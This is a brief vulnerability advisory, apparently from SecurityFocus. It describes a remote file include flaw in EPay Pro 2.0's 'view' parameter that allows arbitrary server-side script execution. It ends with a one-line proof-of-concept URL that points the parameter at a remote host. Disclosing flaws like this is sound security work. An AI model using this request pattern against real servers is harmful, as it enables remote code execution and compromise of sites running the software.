source: https://www.securityfocus.com/bid/12973/info

EPay Pro is reported prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'view' parameter.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer.

EPay Pro version 2.0 is vulnerable to this issue. 

http://www.example.com/epal/index.php?view=http://www.example.com/